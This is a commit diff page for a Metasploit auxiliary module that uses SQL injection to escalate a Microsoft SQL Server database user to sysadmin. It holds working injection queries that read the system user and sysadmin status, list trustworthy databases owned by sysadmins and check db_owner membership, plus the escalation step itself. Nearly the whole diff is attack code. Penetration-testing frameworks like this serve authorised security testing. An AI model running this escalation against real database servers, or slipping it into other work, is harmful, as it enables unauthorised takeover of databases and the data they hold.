Skip to content

Commit 323680c

Browse files
committed
Clean code
1 parent 036d43b commit 323680c

File tree

1 file changed

+85
-56
lines changed

1 file changed

+85
-56
lines changed

modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb

Lines changed: 85 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -37,100 +37,112 @@ def initialize(info = {})
3737
def run
3838

3939
# Get the database user name
40-
print_status("Grabbing the database user name from #{rhost}:#{rport}...")
40+
print_status("#{peer} - Grabbing the database user name from ...")
4141
db_user = get_username
42-
print_good("Database user: #{db_user}")
42+
if db_user.nil?
43+
print_error("#{peer} - Unable to grab user name...")
44+
return
45+
else
46+
print_good("#{peer} - Database user: #{db_user}")
47+
end
4348

4449
# Grab sysadmin status
45-
print_status("Checking if #{db_user} is already a sysadmin...")
46-
sysadmin_status = check_sysadmin
47-
if sysadmin_status == true
48-
print_good("#{db_user} is already a sysadmin, no esclation needed.")
50+
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
51+
admin_status = check_sysadmin
52+
53+
if admin_status.nil?
54+
print_error("#{peer} - Couldn't retrieve user status, aborting...")
55+
return
56+
elsif admin_status == '1'
57+
print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.")
4958
return
5059
else
51-
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
60+
print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
5261
end
5362

5463
# Check for trusted databases owned by sysadmins
55-
print_status("Checking for trusted databases owned by sysadmins...")
64+
print_status("#{peer} - Checking for trusted databases owned by sysadmins...")
5665
trust_db_list = check_trust_dbs
57-
if !trust_db_list || trust_db_list.length == 0
58-
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
66+
if trust_db_list.nil? || trust_db_list.length == 0
67+
print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.")
5968
return
6069
else
6170
# Display list of accessible databases to user
62-
print_good("#{trust_db_list.length} affected database(s) were found:")
63-
64-
if trust_db_list.length == 1
65-
trust_db_one = trust_db_list.flatten.first
66-
print_status(" - #{trust_db_one}")
67-
else
68-
trust_db_list.each do |db|
69-
print_status(" - #{db[0]}")
70-
end
71+
print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:")
72+
trust_db_list.each do |db|
73+
print_status(" - #{db}")
7174
end
7275
end
7376

7477
# Check if the user has the db_owner role in any of the databases
75-
print_status("Checking if #{db_user} has the db_owner role in any of them...")
76-
dbowner_status = check_db_owner(trust_db_list)
77-
if !dbowner_status
78-
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
78+
print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...")
79+
owner_status = check_db_owner(trust_db_list)
80+
if owner_status.nil?
81+
print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.")
7982
return
8083
else
81-
print_good("#{db_user} has the db_owner role on #{dbowner_status}.")
84+
print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.")
8285
end
8386

8487
# Attempt to escalate to sysadmin
85-
print_status("Attempting to add #{db_user} to sysadmin role...")
86-
escalate_privs(dbowner_status,db_user)
87-
sysadmin_status = check_sysadmin
88-
if sysadmin_status == true
89-
print_good("Success! #{db_user} is now a sysadmin!")
88+
print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...")
89+
escalate_privs(owner_status, db_user)
90+
91+
admin_status = check_sysadmin
92+
if admin_status && admin_status == '1'
93+
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
9094
else
91-
print_error("Fail buckets, something went wrong.")
95+
print_error("#{peer} - Fail buckets, something went wrong.")
9296
end
9397
end
9498

95-
#
96-
# Functions
97-
#
99+
def peer
100+
"#{rhost}:#{rport}"
101+
end
98102

99103
def get_username
100104
# Setup query to check for database username
101-
sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')"
105+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
106+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
107+
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
102108

103109
# Run query
104110
result = mssql_query(sql)
105111

106112
# Parse result
107-
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
113+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
114+
user_name = $1
115+
else
116+
user_name = nil
117+
end
108118

109-
# Return user name
110-
return parsed_result
119+
user_name
111120
end
112121

113122
def check_sysadmin
114123
# Setup query to check for sysadmin
115-
sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')"
124+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
125+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
126+
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
116127

117128
# Run query
118129
result = mssql_query(sql)
119130

120131
# Parse result
121-
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
122-
123-
# Return sysadmin status
124-
if parsed_result.to_i == 1
125-
return true
132+
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
133+
status = $1
126134
else
127-
return false
135+
status = nil
128136
end
137+
138+
status
129139
end
130140

131141
def check_trust_dbs
132142
# Setup query to check for trusted databases owned by sysadmins
133-
sql = "(select cast((SELECT 'EVILSTART'+d.name+'EVILSTOP' as DbName
143+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
144+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
145+
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName
134146
FROM sys.server_principals r
135147
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
136148
INNER JOIN sys.server_principals p ON
@@ -139,33 +151,50 @@ def check_trust_dbs
139151
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
140152

141153
# Run query
142-
result = mssql_query(sql)
154+
res = mssql_query(sql)
155+
156+
unless res && res.body
157+
return nil
158+
end
143159

144160
#Parse results
145-
parsed_result = result.body.scan(/EVILSTART(.*?)EVILSTOP/m)
161+
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
162+
163+
if parsed_result && !parsed_result.empty?
164+
parsed_result.flatten!
165+
parsed_result.uniq!
166+
end
167+
168+
print_status("#{parsed_result.inspect}")
169+
170+
parsed_result
146171
end
147172

148173
def check_db_owner(trust_db_list)
149174
# Check if the user has the db_owner role is any databases
150175
trust_db_list.each do |db|
151176
# Setup query
152-
sql = "(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName
153-
from [#{db[0]}].sys.database_role_members drm
154-
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
155-
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
177+
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
178+
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
179+
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName
180+
from [#{db}].sys.database_role_members drm
181+
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
182+
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
156183
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
157184

158185
# Run query
159186
result = mssql_query(sql)
160187

161-
# Parse result
162-
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
188+
unless result && result.body
189+
next
190+
end
163191

164-
# Return sysadmin status
165-
if parsed_result
166-
return parsed_result
192+
# Parse result
193+
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/
194+
return $1
167195
end
168196
end
197+
169198
nil
170199
end
171200

0 commit comments

Comments
 (0)